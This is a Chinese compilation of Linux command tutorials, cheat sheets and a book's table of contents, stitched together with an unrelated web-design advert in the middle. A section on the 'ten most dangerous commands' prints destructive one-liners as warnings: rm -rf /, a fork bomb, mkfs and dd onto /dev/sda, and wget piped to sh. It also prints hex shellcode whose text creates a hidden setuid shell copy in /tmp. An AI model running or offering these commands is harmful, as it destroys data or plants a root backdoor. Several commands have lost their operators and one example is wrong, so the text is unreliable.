Linux常用命令與使用方法1. man 對你熟悉或不熟悉的命令提供幫助解釋,使用方法如下: man ls //可以查看ls命令的使用方法2. su 常用于不同用戶間切換。$su user2 //切換到用戶user2,回車后系統(tǒng)提示輸入user2口令,輸入正確的口令之后就可以切換到user2。完成之后就可以用exit命令返回到user1。 su命令的常見用法是變成根用戶或超級用戶。如果發(fā)出不帶用戶名的su命令 ,則系統(tǒng)提示輸入根口令,輸入之后則可切換為根用戶。如果登錄為根用戶,則可以用su命令成為系統(tǒng)上任何用戶而不需要口令。3. pwd 用于顯示用戶當(dāng)前所在的目錄,直接輸入pwd回車即可。4. cd 改變當(dāng)前目錄,它的用法跟dos下的cd命令基本一致。 cd .. //可進入上一層目錄 cd - //可進入上一個進入的目錄 cd ~ //可進入用戶的home目錄cd ../.. //可以跳到目前目錄的上上兩層5. ls 跟dos下的dir命令一樣,用于顯示當(dāng)前目錄的內(nèi)容。 ls –l //顯示目錄內(nèi)容的詳細信息。 ls -l |more //分屏顯示 。6. find 用于查找文件。這個命令可以按文件名、建立或修改日期、所有者(通常是建立文件的用戶)、文件長度或文件類型進行搜索。 find命令的基本結(jié)構(gòu)如下: $find 目錄 搜索條件 處理動作其中指定從哪個目錄開始搜索。指定搜索條件。表示找到文件怎么處理。一般來說,要用-print動作,顯示 整個文件路徑和名稱。如果沒有這個動作,則find命令進行所要搜索而不顯示結(jié)果,等于白費勁。 例如,要搜索系統(tǒng)上所有名稱為ye的文件,可用如下命令: find / -name ye -print //顯示出系統(tǒng)上所有名稱為ye的文件。find . -name "*.c" //將目前目錄及其子目錄下所有擴展名是 c 的檔案列出來。7. tar 最初用于建立磁帶備份系統(tǒng),目前廣泛用于建立文件發(fā)布檔案??捎萌缦路椒ńar檔案: $tar cvf 例如,如果要將當(dāng)前目錄中所有文件存檔到y(tǒng)e.tar中,可用如下命令: $tar cvf ye.tar *.* 要瀏覽檔案內(nèi)容,將c選項變成t。如果要瀏覽ye.tar檔案中的內(nèi)容,可用如下命令: $tar tvf ye.tar 要取出檔案內(nèi)的內(nèi)容,將c選項變成x。如果要將ye.tar檔案中的內(nèi)容取到當(dāng)前目錄中,可用如下命令: $tar xvf ye.tar 8. gzip 用于壓縮文件。 例如,如果要將ye.txt文件壓縮,可用如下命令: $gzip ye.txt //壓縮文件并在文件名后面加上gz擴展名,變成文件ye.txt.gz。 解壓縮文件可用gzip -d命令實現(xiàn): $gzip -d ye.txt.gz 這樣就可以解壓縮文件并刪除gz擴展名。除此之外還可以用gunzip命令來解 壓縮文件,效果跟用gzip -d命令一樣。 舊版的tar命令不壓縮檔案,可用gzip壓縮。例如: $tar cvf ye.tar *.txt $gzip ye.tar //則可建立壓縮檔案ye.tar.gz。 新版的tar可以直接訪問和建立gzip壓縮的tar檔案,只要在tar命令中加上z 選項就可以了。例如: $tar czvf ye.tar *.txt //生成壓縮檔案ye.tar.gz, $tar tzvf ye.tar *.txt //顯示壓縮檔案ye.tar.gz的內(nèi)容,而 $tar xzvf ye.tar *.txt //取出壓縮檔案ye.tar.gz的內(nèi)容。 9. mkdir 跟dos的md命令用法幾乎一樣,用于建立目錄。mkdir kkk //建立kkk文件夾10. chmod 文件夾權(quán)限修改用法:chmod 一位8進制數(shù) filename。chmod u+x filenmame //只想給自己運行,別人只能讀//u表示文件主人, g 表示文件文件所在組。 o 表示其他人 ;r 表可讀,w 表可寫,x 表可以運行chmod g+x filename //同組的人來執(zhí)行chmod 777 kkk //修改kkk文件夾的權(quán)限為77711. cp 用于復(fù)制文件或目錄。 cp命令可以一次復(fù)制多個文件,例如: $cp *.txt *.doc *.bak /home //將當(dāng)前目錄中擴展名為txt、doc和bak的文件全部復(fù)制到/home目錄中。 如果要復(fù)制整個目錄及其所有子目錄,可以用cp -r命令。
創(chuàng)新互聯(lián)公司是一家專注于成都做網(wǎng)站、網(wǎng)站建設(shè)、外貿(mào)營銷網(wǎng)站建設(shè)與策劃設(shè)計,長寧網(wǎng)站建設(shè)哪家好?創(chuàng)新互聯(lián)公司做網(wǎng)站,專注于網(wǎng)站建設(shè)十載,網(wǎng)設(shè)計領(lǐng)域的專業(yè)建站公司;建站業(yè)務(wù)涵蓋:長寧等地區(qū)。長寧做網(wǎng)站價格咨詢:18982081108
12. rm 用于刪除文件或目錄。 rm命令會強制刪除文件,如果想要在刪除時提示確認(rèn),可用rm -i命令。 如果要刪除目錄,可用rm -r命令。rm -r命令在刪除目錄時,每刪除一個文件或目錄都會顯示提示,如果目錄太大,響應(yīng)每個提示是不現(xiàn)實的。這時可以用 rm -rf命令來強制刪除目錄,這樣即使用了-i標(biāo)志也當(dāng)無效處理。 13. mv 用于移動文件、文件夾和更改文件名。例如: mv ye.txt /home //將當(dāng)前目錄下的ye.txt文件移動到/home目錄下, $mv ye.txt ye1.txt //將ye.txt文件改名為ye1.txt。 類似于跟cp命令,mv命令也可以一次移動多個文件。 mv *.txt * /home //將當(dāng)前目錄中擴展名為txt的文件全部移到/home目錄中。14. passwd 設(shè)置口令。15. clear 清屏命令。16. reboot 重啟命令。17. halt 關(guān)機命令。18. ps 查看進程信息。例如:
ps -ef | grep 8080 //查看那個進程占用8080端口
ps -aux | grep mysqld
19. tail 查看日志文件命令。例如:
tail -f logs //查看logs日志文件的尾部信息20. du 查看文件大小。例如: du -sh /home //查看home文件夾的大小,以M為單位 du -s /home //查看home文件夾的大小,以k為單位21. df 查看各分區(qū)占用的大小。例如: du -h //查看各分區(qū)使用情況,用G作單位
Linux中最危險的10個命令
對于編程人員或或者Linux系統(tǒng)管理員來說,操作Linux系統(tǒng)最常見的方法就是使用命令行。當(dāng)然,Linux命令行佷有用、很高效,但有時候也很危險,尤其是在你誤操作或者不確定你自己在正在做什么的時候。下面我就為大家盤點最危險是10個命令,一起來看看吧!
當(dāng)然,以下命令通常都是在root權(quán)限下才能將愚蠢發(fā)揮到無可救藥;在普 通用戶身份下,破壞的只是自己的一畝三分地。
1. rm -rf 命令
rm -rf命令是刪除文件夾及其內(nèi)容最快的方式之一。僅僅一丁點的敲錯或無知都可能導(dǎo)致不可恢復(fù)的系統(tǒng)崩壞。下列是一些rm 命令的選項。
rm 命令在Linux下通常用來刪除文件。
rm -r 命令遞歸的刪除文件夾,甚至是空的文件夾。(譯注:個人認(rèn)為此處應(yīng)該是說錯了,從常識看,應(yīng)該是“甚至是非空的文件夾”)
rm -f 命令能不經(jīng)過詢問直接刪除‘只讀文件’。(譯注:Linux下刪除文件并不在乎該文件是否是只讀的,而只是在意其父目錄是否有寫權(quán)限。所以,-f這個參數(shù) 只是表示不必一個個刪除確認(rèn),而是一律悄悄刪除。另外,原始的rm命令其實也是沒有刪除提示的,只是一般的發(fā)行版都會將rm通過別名的方式增加-i參數(shù)來 要求刪除確認(rèn),而-f則抑制了這個提示。)
rm -rf / : 強制刪除根目錄下所有東東。(就是說刪除完畢后,什么也沒有了。。。)
rm -rf *: 強制刪除當(dāng)前目錄的所有文件。
rm -rf . : 強制刪除當(dāng)前文件夾及其子文件夾。
從 現(xiàn)在起,當(dāng)你要執(zhí)行rm -rf命令時請留心一點。我們可以在“.bashrc”文件對‘rm‘命令創(chuàng)建rm -i的別名,來預(yù)防用 ‘rm‘命令刪除文件時的事故,它會要求你確認(rèn)每一個刪除請求。(譯注:大多數(shù)發(fā)行版已經(jīng)這樣做了,如果還沒有,請這樣做,并在使用-f參數(shù)前一定考慮好 你在做什么!譯者本人有著血淚的教訓(xùn)啊。)
2. :(){:|:};: 命令
這就是個fork 炸彈的實例。具體操作是通過定義一個名為 ‘:‘的函數(shù),它會調(diào)用自己兩次,一次在前臺另一次運行在后臺。它會反復(fù)的執(zhí)行下去直到系統(tǒng)崩潰。
:(){:|:};:
哦?你確認(rèn)你要試試么?千萬別在公司正式的服務(wù)器上實驗啊~~
3. 命令 /dev/sda
上列命令會將某個‘命令‘的輸出寫到塊設(shè)備/dev/sda中。該操作會將在塊設(shè)備中的所有數(shù)據(jù)塊替換為命令寫入的原始數(shù)據(jù),從而導(dǎo)致整個塊設(shè)備的數(shù)據(jù)丟失。
4. mv 文件夾 /dev/null
這 個命令會移動某個‘文件夾‘到/dev/null。在Linux中 /dev/null 或 null 設(shè)備是一個特殊的文件,所有寫入它的數(shù)據(jù)都會被清除,然后返回寫操作成功。(譯注:這就是黑洞啊。當(dāng)然,要說明的是,通過將文件夾移動到黑洞,并不能阻止 數(shù)據(jù)恢復(fù)軟件的救贖,所以,真正的`徹底毀滅,需要采用專用的軟件或者手法來完成——我知道你肯定有些東西想刪除得干干凈凈的。)
# mv /home/user/* /dev/null
上列命令會將User目錄所有內(nèi)容移動到/dev/null,這意味著所有東西都被‘卷入’黑洞 (null)之中。
5. wget -O- | sh
上列命令會從一個(也許是)惡意源下載一個腳本并執(zhí)行。Wget命令會下載這個腳本,而sh會(無條件的)執(zhí)行下載下來的腳本。
注意: 你應(yīng)該時刻注意你下載包或腳本的源。只能使用那些從可信任的源中下載腳本/程序。(譯注:所以,你真的知道你在做什么嗎?當(dāng)遇到這種需要是,我的做法是,先wget下來,然后我去讀一讀其中到底寫了些什么,然后考慮是否執(zhí)行。)
6. mkfs.ext3 /dev/sda
上列命令會格式化塊設(shè)備‘sda’,你無疑知道在執(zhí)行上列命令后你的塊設(shè)備(硬盤驅(qū) 動器)會被格式化,嶄新的!沒有任何數(shù)據(jù),直接讓你的系統(tǒng)達到不可恢復(fù)的階段。(譯注:通常不會直接使用/dev/sda這樣的設(shè)備,除非是作為raw設(shè) 備使用,一般都需要將sda分成類似sda1、sda2這樣的分區(qū)后才使用。當(dāng)然,無論你使用sda還是sda1,這樣對塊設(shè)備或分區(qū)進行mkfs都是毀 滅性的,上面的數(shù)據(jù)都會被蒸發(fā)了。)
7. file
上列命令常用來清空文件內(nèi)容(譯注:通常也用于記錄命令輸出。 不過請在執(zhí)行前,確認(rèn)輸出的文件是空的或者還不存在,否則原來的文件可真是恢復(fù)不了了——連數(shù)據(jù)恢復(fù)軟件都未必能幫助你了。另外,我想你可能真正想用的是 “”,即累加新的輸出到文件,而不是刷新那個文件。)。如果用上列執(zhí)行時輸入錯誤或無知的輸入類似 “xt.conf” 的命令會覆蓋配置文件或其他任何的系統(tǒng)配置文件。
8. ^foo^bar
這個命令在“鮮為人知而又實用的 Linux 命令大全:”中描述過,用來編輯先前運行的命令而無需重打整個命令。但當(dāng)用foobar命令時如果你沒有徹底檢查改變原始命令的風(fēng)險,這可能導(dǎo)致真正的麻煩。(譯注:事實上,這種小技巧是譯者認(rèn)為的,少數(shù)史前時代遺留下來的無用而有害的“黑客”技巧。)
9. dd if=/dev/random of=/dev/sda
上列命令會向塊設(shè)備sda寫入隨機的垃圾文件從而擦出數(shù)據(jù)。當(dāng)然!你的系統(tǒng)可能陷入混亂和不可恢復(fù)的狀態(tài)。(譯注:記得上面說過mv到黑洞并不能徹底刪除數(shù)據(jù)么?那么這個命令就是給了你一個徹底刪除的方法!當(dāng)然為了保險起見,你可以覆寫多次。)
10. 隱藏命令
下面的命令其實就是上面第一個命令 (rm -rf)。這里的代碼是隱藏在十六進制里的,一個無知的用戶可能就會被愚弄。在終端里運行下面命令可能會擦除你的根分區(qū)。
這個命令表明通常真正的危險是隱藏的,不會被輕易的檢測到。你必須時刻留心你在做什么結(jié)果會怎樣。不要編譯/運行從未知來源的代碼。
char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″“\x6e\x2f\x73\x68\x00\x2d\x63\x00″“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;
注意: 不要在你的或你的同學(xué)或?qū)W校的電腦里的Linux終端或Shell執(zhí)行以上的任何一個命令,因為這將導(dǎo)致數(shù)據(jù)丟失或者系統(tǒng)崩潰。如果你想測試它們,請在虛擬機上運行。
;
Linux運維人員必會的120個命令
來自《跟老男孩學(xué)Linux運維:核心系統(tǒng)命令實戰(zhàn)》一書
前言
第1章 Linux命令行簡介 / 1
1.1Linux命令行概述 / 1
1.2在Linux命令行下查看命令幫助 / 4
1.3Linux shutdown reboot halt / 9
關(guān)機:
shutdown -h now
halt
init 0
第2章 文件和目錄操作命令 / 13
2.1pwd:顯示當(dāng)前所在的位置 / 13
2.2cd:切換目錄 / 16
2.3tree:以樹形結(jié)構(gòu)顯示目錄下的內(nèi)容 / 18
2.4mkdir:創(chuàng)建目錄 / 22
2.5touch:創(chuàng)建空文件或改變文件的時間戳屬性 / 27
2.6ls:顯示目錄下的內(nèi)容及相關(guān)屬性信息 / 30
2.7cp:復(fù)制文件或目錄 / 39
2.8mv:移動或重命名文件 / 42
2.9rm:刪除文件或目錄 / 45
2.10rmdir:刪除空目錄 / 48
2.11ln:硬鏈接與軟鏈接 / 49
2.12readlink:查看符號鏈接文件的內(nèi)容 / 54
2.13find:查找目錄下的文件 / 55
2.14xargs:將標(biāo)準(zhǔn)輸入轉(zhuǎn)換成命令行參數(shù) / 68
2.15rename:重命名文件 / 71
2.16basename:顯示文件名或目錄名 / 72
2.17dirname:顯示文件或目錄路徑 / 72
2.18chattr:改變文件的擴展屬性 / 73
2.19lsattr:查看文件擴展屬性 / 75
2.20file:顯示文件的類型 / 76
2.21md5sum:計算和校驗文件的MD5值 / 77
2.22chown:改變文件或目錄的用戶和用戶組 / 80
2.23chmod:改變文件或目錄權(quán)限 / 81
2.24chgrp:更改文件用戶組 / 85
2.25umask:顯示或設(shè)置權(quán)限掩碼 / 86
2.26老男孩從新手成為技術(shù)大牛的心法 / 90
第3章 文件過濾及內(nèi)容編輯處理命令 / 91
3.1cat:合并文件或查看文件內(nèi)容 / 91
3.2tac:反向顯示文件內(nèi)容 / 103
3.3more:分頁顯示文件內(nèi)容 / 104
3.4less:分頁顯示文件內(nèi)容 / 107
3.5head:顯示文件內(nèi)容頭部 / 109
3.6tail:顯示文件內(nèi)容尾部 / 111
3.7tailf:跟蹤日志文件 / 114
3.8cut:從文本中提取一段文字并輸出 / 115
3.9split:分割文件 / 117
3.10paste:合并文件 / 118
3.11sort:文本排序 / 123
3.12join:按兩個文件的相同字段合并 / 127
3.13uniq:去除重復(fù)行 / 129
3.14wc:統(tǒng)計文件的行數(shù)、單詞數(shù)或字節(jié)數(shù) / 131
3.15iconv:轉(zhuǎn)換文件的編碼格式 / 133
3.16dos2unix:將DOS格式文件轉(zhuǎn)換成UNIX格式 / 134
3.17diff:比較兩個文件的不同 / 135
3.18vimdiff:可視化比較工具 / 138
3.19rev:反向輸出文件內(nèi)容 / 139
3.20tr:替換或刪除字符 / 140
3.21od:按不同進制顯示文件 / 143
3.22tee:多重定向 / 145
3.23vi/vim:純文本編輯器 / 147
3.24老男孩逆襲思想:做Linux運維的多個好處 / 152
第4章 文本處理三劍客 / 153
4.1grep:文本過濾工具 / 153
4.2sed:字符流編輯器 / 159
4.3awk基礎(chǔ)入門 / 165
第5章 Linux信息顯示與搜索文件命令 / 176
5.1uname:顯示系統(tǒng)信息 / 176
5.2hostname:顯示或設(shè)置系統(tǒng)的主機名 / 178
5.3dmesg:系統(tǒng)啟動異常診斷 / 179
5.4stat:顯示文件或文件系統(tǒng)狀態(tài) / 181
5.5du:統(tǒng)計磁盤空間使用情況 / 183
5.6date:顯示與設(shè)置系統(tǒng)時間 / 186
5.7echo:顯示一行文本 / 190
5.8watch:監(jiān)視命令執(zhí)行情況 / 193
5.9which:顯示命令的全路徑 / 195
5.10whereis:顯示命令及其相關(guān)文件全路徑 / 196
5.11locate:快速定位文件路徑 / 197
5.12updatedb:更新mlocate數(shù)據(jù)庫 / 199
5.13老男孩逆襲思想:新手在工作中如何問問題不會被鄙視 / 200
第6章 文件備份與壓縮命令 / 201
6.1tar:打包備份 / 201
6.2gzip:壓縮或解壓文件 / 208
6.3zip:打包和壓縮文件 / 211
6.4unzip:解壓zip文件 / 212
6.5scp:遠程文件復(fù)制 / 214
6.6rsync:文件同步工具 / 216
6.7老男孩逆襲思想:新手如何高效地提問 / 220
第7章 Linux用戶管理及用戶信息查詢命令 / 222
7.1 useradd:創(chuàng)建用戶 / 222
7.2usermod:修改用戶信息 / 227
7.3userdel:刪除用戶 / 229
7.4groupadd:創(chuàng)建新的用戶組 / 230
7.5groupdel:刪除用戶組 / 231
7.6passwd:修改用戶密碼 / 232
7.7chage:修改用戶密碼有效期 / 237
7.8chpasswd:批量更新用戶密碼 / 238
7.9su:切換用戶 / 240
7.10visudo:編輯sudoers文件 / 242
7.11sudo:以另一個用戶身份執(zhí)行命令 / 244
7.12id:顯示用戶與用戶組的信息 / 248
7.13w:顯示已登錄用戶信息 / 249
7.14who:顯示已登錄用戶信息 / 250
7.15users:顯示已登錄用戶 / 252
7.16whoami:顯示當(dāng)前登錄的用戶名 / 253
7.17last:顯示用戶登錄列表 / 253
7.18lastb:顯示用戶登錄失敗的記錄 / 254
7.19lastlog:顯示所有用戶的最近登錄記錄 / 255
第8章 Linux磁盤與文件系統(tǒng)管理命令 / 257
8.1fdisk:磁盤分區(qū)工具 / 257
8.2partprobe:更新內(nèi)核的硬盤分區(qū)表信息 / 265
8.3tune2fs:調(diào)整ext2/ext3/ext4文件系統(tǒng)參數(shù) / 266
8.4parted:磁盤分區(qū)工具 / 268
8.5mkfs:創(chuàng)建Linux文件系統(tǒng) / 272
8.6dumpe2fs:導(dǎo)出ext2/ext3/ext4文件系統(tǒng)信息 / 274
8.7resize2fs:調(diào)整ext2/ext3/ext4文件系統(tǒng)大小 / 275
8.8fsck:檢查并修復(fù)Linux文件系統(tǒng) / 278
8.9dd:轉(zhuǎn)換或復(fù)制文件 / 281
8.10mount:掛載文件系統(tǒng) / 284
8.11umount:卸載文件系統(tǒng) / 288
8.12df:報告文件系統(tǒng)磁盤空間的使用情況 / 289
8.13mkswap:創(chuàng)建交換分區(qū) / 293
8.14swapon:激活交換分區(qū) / 294
8.15swapoff:關(guān)閉交換分區(qū) / 295
8.16sync:刷新文件系統(tǒng)緩沖區(qū) / 296
第9章 Linux進程管理命令 / 298
9.1ps:查看進程 / 298
9.2pstree:顯示進程狀態(tài)樹 / 305
9.3pgrep:查找匹配條件的進程 / 306
9.4kill:終止進程 / 307
9.5killall:通過進程名終止進程 / 310
9.6pkill:通過進程名終止進程 / 311
9.7top:實時顯示系統(tǒng)中各個進程的資源占用狀況 / 313
9.8nice:調(diào)整程序運行時的優(yōu)先級 / 320
9.9renice:調(diào)整運行中的進程的優(yōu)先級 / 323
9.10nohup:用戶退出系統(tǒng)進程繼續(xù)工作 / 324
9.11strace:跟蹤進程的系統(tǒng)調(diào)用 / 325
9.12ltrace:跟蹤進程調(diào)用庫函數(shù) / 332
9.13runlevel:輸出當(dāng)前運行級別 / 334
9.14init:初始化Linux進程 / 335
9.15service:管理系統(tǒng)服務(wù) / 335
第10章 Linux網(wǎng)絡(luò)管理命令 / 338
10.1ifconfig:配置或顯示網(wǎng)絡(luò)接口信息 / 338
10.2ifup:激活網(wǎng)絡(luò)接口 / 343
ifup eth0
10.3ifdown:禁用網(wǎng)絡(luò)接口 / 343
ifdown eth0
service network restart(/etc/init.d/network restart) 激活整個網(wǎng)絡(luò),所有網(wǎng)卡。
10.4route:顯示或管理路由表 / 344
10.5arp:管理系統(tǒng)的arp緩存 / 350
10.6ip:網(wǎng)絡(luò)配置工具 / 351
10.7netstat:查看網(wǎng)絡(luò)狀態(tài) / 358
10.8ss:查看網(wǎng)絡(luò)狀態(tài) / 362
10.9ping:測試主機之間網(wǎng)絡(luò)的連通性 / 363
10.10traceroute:追蹤數(shù)據(jù)傳輸路由狀況 / 366
10.11arping:發(fā)送arp請求 / 367
10.12telnet:遠程登錄主機 / 369
10.13nc:多功能網(wǎng)絡(luò)工具 / 370
10.14ssh:安全地遠程登錄主機 / 373
10.15wget:命令行下載工具 / 376
10.16mailq:顯示郵件傳輸隊列 / 379
10.17mail:發(fā)送和接收郵件 / 381
10.18nslookup:域名查詢工具 / 386
10.19dig:域名查詢工具 / 389
10.20host:域名查詢工具 / 393
10.21nmap:網(wǎng)絡(luò)探測工具和安全/端口掃描器 / 394
10.22tcpdump:監(jiān)聽網(wǎng)絡(luò)流量 / 398
第11章 Linux系統(tǒng)管理命令 / 407
11.1lsof:查看進程打開的文件 / 407
11.2uptime:顯示系統(tǒng)的運行時間及負載 / 411
11.3free:查看系統(tǒng)內(nèi)存信息 / 411
11.4iftop:動態(tài)顯示網(wǎng)絡(luò)接口流量信息 / 413
11.5vmstat:虛擬內(nèi)存統(tǒng)計 / 415
11.6mpstat:CPU信息統(tǒng)計 / 419
11.7iostat:I/O信息統(tǒng)計 / 420
11.8iotop:動態(tài)顯示磁盤I/O統(tǒng)計信息 / 423
11.9sar:收集系統(tǒng)信息 / 425
11.10chkconfig:管理開機服務(wù) / 430
11.11ntsysv:管理開機服務(wù) / 433
11.12 setup:系統(tǒng)管理工具 / 434
11.13ethtool:查詢網(wǎng)卡參數(shù) / 436
11.14mii-tool:管理網(wǎng)絡(luò)接口的狀態(tài) / 437
11.19rpm:RPM包管理器 / 443
11.20yum:自動化RPM包管理工具 / 446
top命令
第12章 Linux系統(tǒng)常用內(nèi)置命令 / 450
12.1Linux內(nèi)置命令概述 / 450
12.2Linux內(nèi)置命令簡介 / 450
12.3Linux常用內(nèi)置命令實例 / 452
之前的一篇文章小懿已經(jīng)給大家說了學(xué)習(xí)大數(shù)據(jù)都需要學(xué)習(xí)哪些內(nèi)容,接下來,小懿就會帶領(lǐng)著讀者們一起開始學(xué)習(xí)大數(shù)據(jù)的旅程。既然開始,那么就得從最基礎(chǔ)的地方開始,裝Linux系統(tǒng),別說Linux系統(tǒng)沒啥用,畢竟你已經(jīng)學(xué)會了Java,不想做運維的話,哪怕你只是會上傳文件,打包,解壓,啟動Tomcat的話,你都要會Linux的命令才能進行操作不是么?
Linux,全稱GNU/Linux,是一種免費使用和自由傳播的類UNIX操作系統(tǒng),其內(nèi)核由林納斯·本納第克特·托瓦茲于1991年10月5日首次發(fā)布,它主要受到Minix和Unix思想的啟發(fā),是一個基于POSIX的多用戶、多任務(wù)、支持多線程和多CPU的操作系統(tǒng)。
其實我們劃重點,核心就是不要錢,開源,免費,功能還強大,那肯定是我們大家首選的東西了。學(xué)技術(shù)得先看點有趣的東西,那就是Linux的創(chuàng)始作者。
對就是這個人,在1991年,還在上大二的托瓦茲在互聯(lián)網(wǎng)上放出了他自己編寫的操作系統(tǒng) Linxus 0.01 版本。于是就有了最開始的Linux,以至于以后通過開源社區(qū)的不斷補充,使其從當(dāng)年一個人的“小項目”日益壯大起來。而之所以Linux能夠獲得這些資源,其實全依靠 Linux 采用的授權(quán)協(xié)議——GPL。
行了,這了解了Linux的創(chuàng)始和來源,我們就來安裝一下Linux操作系統(tǒng)吧。
在安裝Linux系統(tǒng)的時候,首先我們需要一個介質(zhì)工具,那就是VMware Workstation,虛擬機,安裝好這個之后,就相當(dāng)于是在你的電腦上裝了一個虛擬計算機的軟件,小懿相信,百分之九十以上的人,電腦里面都會有這個,它提供用戶可在單一的桌面上同時運行不同的操作系統(tǒng),和進行開發(fā)、測試、部署新的應(yīng)用程序的最佳解決方案。
如果有條件的,大家肯定可以使用阿里云或者華為云或者百度云等各種大廠出品的云服務(wù)器來進行使用,畢竟人家的服務(wù)器也是支持你在任何地方進行訪問的,只要你有賬號和密碼,所以阿粉也是整了一個云服務(wù)器來進行測試。
linux沒有盤符的概念,一切都是文件.
linux目錄結(jié)構(gòu) :
磁盤管理 :
最常用的就是查看文件多少的命令了,
ls 顯示當(dāng)前目錄下的文件或子目錄
cd 切換目錄
pwd 顯示當(dāng)前工作的目錄
mkdir 創(chuàng)建目錄
touch 創(chuàng)建文件
文件瀏覽 :
cat 命令 查看文件所有內(nèi)容
less 命令 分頁查看
tail 名稱 查看日志文件,查看的文件末尾內(nèi)容.
這個命令比如我們需要看日志的時候,就不用再去使用 XFTP 這樣的工具去把日志弄到本地來看了,直接就 tail -99f xxxx.log
文件操作 :
cp 復(fù)制
mv 重命名或移動
rm 刪除
find 查詢
文檔編輯
這是我們使用過程中最重要的一點,因為你需要修改配置文件的時候經(jīng)常會使用到文檔編輯的命令,所以這塊的內(nèi)容是你最需要掌握的。
vi/vim 修改
vi : 修改文件,但是顯示字體是白色
vim : 修改文件,但是關(guān)鍵字高亮顯示
這時候需要的就是我們需要熟記的一些命令,能夠幫我們剩下很多的時間,
一般模式:
插入模式:
底行模式:
grep 查找過濾
一般我們使用 grep 命令的時候,都是搭配著 ps 命令一起,去查看我們需要的一些進程信息,比如說:
ps -ef|grep tomcat 查看tomcat進程
kill 殺死進程
壓縮和解壓縮 :
chmod 文件授權(quán)
我們一般常用的組合就是那么幾種:
一般知道上面的權(quán)限這點內(nèi)容就差不多了,畢竟咱們干開發(fā)又不是專職 干運維的。
linux關(guān)機命令有五個,分別如下:
1、shutdown。
2、poweroff。
3、init。
4、reboot。
5、halt。
Linux其內(nèi)核由林納斯·本納第克特·托瓦茲于1991年10月5日首次發(fā)布,它主要受到Minix和Unix思想的啟發(fā),是一個基于POSIX的多用戶、多任務(wù)、支持多線程和多CPU的操作系統(tǒng)。
相關(guān)特點
Linux不僅系統(tǒng)性能穩(wěn)定,而且是開源軟件。其核心防火墻組件性能高效、配置簡單,保證了系統(tǒng)的安全。在很多企業(yè)網(wǎng)絡(luò)中,為了追求速度和安全,Linux不僅僅是被網(wǎng)絡(luò)運維人員當(dāng)作服務(wù)器使用,甚至當(dāng)作網(wǎng)絡(luò)防火墻,這是Linux的一大亮點。
Linux具有開放源碼、沒有版權(quán)、技術(shù)社區(qū)用戶多等特點,開放源碼使得用戶可以自由裁剪,靈活性高,功能強大,成本低。尤其系統(tǒng)中內(nèi)嵌網(wǎng)絡(luò)協(xié)議棧,經(jīng)過適當(dāng)?shù)呐渲镁涂蓪崿F(xiàn)路由器的功能。這些特點使得Linux成為開發(fā)路由交換設(shè)備的理想開發(fā)平臺。
新手,純純搬運工【出處引用自: 】
1. Linux常用命令
最常用:
ls(英文全拼:list files):列出目錄及文件名
ls -l:列出目錄及文件名,可查看更多
ls -al:可以看到隱藏文件
cd(英文全拼:change directory):切換目錄
cd .. :返回上一級
cd 文件夾名:進入目錄
pwd(英文全拼:print work directory):顯示目前的目錄
mkdir 文件夾名(英文全拼:make directory):創(chuàng)建一個新的目錄
rmdir 文件夾名(英文全拼:remove directory):刪除一個空的目錄
cp xxx xxx(英文全拼:copy file): 復(fù)制文件或目錄
mv xxx xxx(英文全拼:move file): 移動文件或目錄,或修改文件或目錄的名稱
rm(英文全拼:remove): 刪除文件
rm -r 文件夾名:遞歸刪除某目錄
clear:清空terminal的所有內(nèi)容(或者使用Ctrl+L)
tab按鍵:補充完整文件名或文件夾名
次常用:
vim/vi 某文件 (編輯文件)
nano 某文件 (編輯文件)
touch 文件 (新建空文件)
sudo -s (切換到root模式)
exit (退出root模式等)
sudo chmod -R 755 文件名/文件夾名 (獲取文件/文件夾的755權(quán)限)
chown [用戶] [文件或目錄] (改變文件或目錄的所有者)
chgrp [用戶組] [文件或目錄] (改變文件或目錄的所屬組)
make (編譯成.exe)
解壓/解包:
tar文件?(注:tar是打包,不是壓縮?。?/p>
解包:tar?xvf?FileName.tar
打包:tar?cvf?FileName.tar?DirName
.gz文件
解壓1:gunzip?FileName.gz
解壓2:gzip?-d?FileName.gz
壓縮:gzip?FileName
.tar.gz?和?.tgz文件
解壓:tar?zxvf?FileName.tar.gz
壓縮:tar?zcvf?FileName.tar.gz?DirName
安裝和卸載deb軟件包:
安裝:sudo dpkg -i deb文件
查看:sudo dpkg -l
卸載:sudo dpkg -r 軟件名
參考資料:
[1]? Linux?教程
[2]? Linux常用命令
[3]? linux中tar命令的用法
[4]? 全網(wǎng)最全Linux命令總結(jié)
2. vim/vi里的操作
:q 退出
:wq 保存并退出
:w 保存
:q! 強行退出(不保存退出)
:w! 強行保存
i 進入編輯,轉(zhuǎn)為輸入模式(光標(biāo)前面)
a 進入編輯,轉(zhuǎn)為輸入模式(光標(biāo)后面)
o 進入編輯,轉(zhuǎn)為輸入模式(光標(biāo)下方新建一行)
Esc 退出i(插入)命令
3. 超算中PBS常用命令
pbsnodes (查看所有節(jié)點)
pbsnodes -l free (查看空閑節(jié)點)
pbsnodes 某節(jié)點 (查看某節(jié)點狀態(tài))
ssh 某節(jié)點 (轉(zhuǎn)到某節(jié)點)
exit (離開節(jié)點)
qsub 文件名.pbs/sh (提交任務(wù))
qstat (列出狀態(tài))
qstat -q (列出隊列)
qstat -n (列出隊列中使用的節(jié)點)
qstat -f jobid (查看jobid任務(wù)的詳細信息)
qdel jobid (取消任務(wù))
4. 其他
(1)Linux開機自啟
sh文件中包含:
#!/bin/bash#chkconfig: 2345 80 90#description:auto_run
sh文件移動到/etc/init.d后,分別輸入命令:
chkconfig --add xxx.sh
chkconfig --list???
chkconfig xxx.sh on?
service xxx.sh start
參考資料: linux 開機啟動 .sh 文件 - 自己的太陽 - 博客園
(2)Linux環(huán)境變量
方法1:臨時使用環(huán)境變量:export PATH="/home/www/anaconda3/bin:$PATH"
方法2:修改.bashrc文件
參考資料: Linux PATH 作用以及查看和修改方法_haozhepeng的專欄
(3)兩個sh文件
a.sh文件(用于提交任務(wù),執(zhí)行a.py文件)
